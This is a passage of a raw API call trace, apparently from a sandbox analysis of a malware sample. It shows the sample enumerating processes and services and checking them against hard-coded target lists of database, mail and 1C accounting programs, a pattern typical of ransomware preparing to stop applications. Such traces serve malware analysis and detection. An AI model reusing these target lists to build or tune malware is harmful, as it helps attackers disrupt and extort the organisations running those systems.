(lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0131.568] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0131.568] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0131.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0131.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x36e7e8 | out: hHeap=0x300000) returned 1 [0131.568] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x138 [0131.570] Process32FirstW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.571] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.571] lstrlenW (lpString="System") returned 6 [0131.571] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0131.571] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0131.571] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0131.571] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0131.571] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0131.571] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0131.571] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0131.571] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.573] lstrlenW (lpString="smss.exe") returned 8 [0131.573] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0131.573] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0131.573] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0131.573] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0131.573] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0131.573] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0131.573] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0131.573] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.573] lstrlenW (lpString="csrss.exe") returned 9 [0131.573] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0131.573] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0131.573] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0131.573] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0131.573] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0131.573] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0131.573] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0131.573] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.574] lstrlenW (lpString="wininit.exe") returned 11 [0131.574] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0131.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0131.574] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0131.574] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0131.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0131.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0131.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0131.574] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.574] lstrlenW (lpString="csrss.exe") returned 9 [0131.574] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0131.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0131.574] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0131.574] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0131.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0131.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0131.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0131.574] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0131.575] lstrlenW (lpString="winlogon.exe") returned 12 [0131.575] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0131.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0131.575] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0131.575] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0131.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0131.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0131.575] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0131.575] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0131.575] lstrlenW (lpString="services.exe") returned 12 [0131.575] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0131.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0131.575] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0131.575] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0131.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0131.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0131.575] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0131.575] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0131.576] lstrlenW (lpString="lsass.exe") returned 9 [0131.576] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0131.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0131.576] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0131.576] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0131.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0131.576] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0131.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0131.576] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0131.576] lstrlenW (lpString="lsm.exe") returned 7 [0131.576] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0131.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0131.576] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0131.576] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0131.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0131.576] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0131.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0131.576] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.577] lstrlenW (lpString="svchost.exe") returned 11 [0131.577] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0131.577] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.577] lstrlenW (lpString="svchost.exe") returned 11 [0131.577] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0131.577] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0131.578] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.578] lstrlenW (lpString="svchost.exe") returned 11 [0131.578] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0131.578] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.578] lstrlenW (lpString="svchost.exe") returned 11 [0131.578] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0131.578] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0131.579] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0131.579] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.579] lstrlenW (lpString="svchost.exe") returned 11 [0131.579] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.579] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.579] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.579] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0131.579] lstrlenW (lpString="audiodg.exe") returned 11 [0131.579] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.580] lstrlenW (lpString="svchost.exe") returned 11 [0131.580] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.580] lstrlenW (lpString="svchost.exe") returned 11 [0131.580] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0131.580] lstrlenW (lpString="spoolsv.exe") returned 11 [0131.580] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0131.581] lstrlenW (lpString="taskhost.exe") returned 12 [0131.581] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.581] lstrlenW (lpString="svchost.exe") returned 11 [0131.581] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0131.581] lstrlenW (lpString="userinit.exe") returned 12 [0131.581] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0131.582] lstrlenW (lpString="dwm.exe") returned 7 [0131.582] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0131.583] lstrlenW (lpString="explorer.exe") returned 12 [0131.583] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0131.583] lstrlenW (lpString="3G6885.exe") returned 10 [0131.583] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0131.583] lstrlenW (lpString="reader_sl.exe") returned 13 [0131.583] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0131.584] lstrlenW (lpString="dllhost.exe") returned 11 [0131.584] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0131.584] lstrlenW (lpString="cmd.exe") returned 7 [0131.584] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0131.584] lstrlenW (lpString="conhost.exe") returned 11 [0131.584] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x658, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0131.585] lstrlenW (lpString="mode.com") returned 8 [0131.585] Process32NextW (in: hSnapshot=0x138, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x658, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0131.585] CloseHandle (hObject=0x138) returned 1 [0131.585] Sleep (dwMilliseconds=0x1f4) [0132.534] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3c1058 [0132.560] EnumServicesStatusExW (in: hSCManager=0x3c1058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0132.560] GetLastError () returned 0xea [0132.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc9a) returned 0x3af7c20 [0132.561] EnumServicesStatusExW (in: hSCManager=0x3c1058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3af7c20, cbBufSize=0xc9a, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3af7c20, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0132.561] CloseServiceHandle (hSCObject=0x3c1058) returned 1 [0132.561] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0132.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0132.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0132.562] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0132.562] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0132.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0132.562] lstrlenW (lpString="AudioSrv") returned 8 [0132.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0132.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0132.562] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0132.562] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0132.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0132.562] lstrlenW (lpString="BFE") returned 3 [0132.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0132.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0132.562] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0132.562] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0132.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0132.562] lstrlenW (lpString="CryptSvc") returned 8 [0132.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0132.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0132.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0132.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0132.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0132.562] lstrlenW (lpString="CscService") returned 10 [0132.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0132.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0132.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0132.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0132.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0132.562] lstrlenW (lpString="DcomLaunch") returned 10 [0132.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0132.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0132.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0132.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0132.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0132.563] lstrlenW (lpString="Dhcp") returned 4 [0132.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0132.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0132.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0132.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0132.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0132.563] lstrlenW (lpString="Dnscache") returned 8 [0132.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0132.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0132.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0132.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0132.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0132.563] lstrlenW (lpString="DPS") returned 3 [0132.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0132.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0132.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0132.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0132.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0132.563] lstrlenW (lpString="eventlog") returned 8 [0132.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0132.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0132.563] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0132.563] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0132.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0132.563] lstrlenW (lpString="EventSystem") returned 11 [0132.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0132.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0132.563] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0132.564] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0132.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0132.564] lstrlenW (lpString="gpsvc") returned 5 [0132.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0132.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0132.564] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0132.564] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0132.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0132.564] lstrlenW (lpString="LanmanWorkstation") returned 17 [0132.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0132.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0132.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0132.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0132.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0132.564] lstrlenW 